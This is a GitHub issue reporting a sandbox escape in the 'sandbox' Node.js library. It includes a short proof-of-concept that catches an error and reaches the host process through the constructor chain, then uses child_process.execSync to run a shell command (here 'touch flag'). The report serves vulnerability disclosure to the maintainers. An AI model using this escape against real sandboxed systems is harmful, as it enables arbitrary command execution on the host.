gf3 / sandbox

A nifty JavaScript sandbox for Node.js
ISC License
844 stars 123 forks source link

Sandbox Escape Bug #69

Open seongil-wi opened 1 year ago

seongil-wi commented 1 year ago
var Sandbox = require("sandbox")
var code = `
    try{ 
        toLocaleString()
     } catch(pp){
        pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
    }
`

s = new Sandbox()
s.run(code)

We found a sandbox escaping bug. This bug can be triggered by calling toLocaleString() function. Also, we can execute arbitrary shell code using the process module.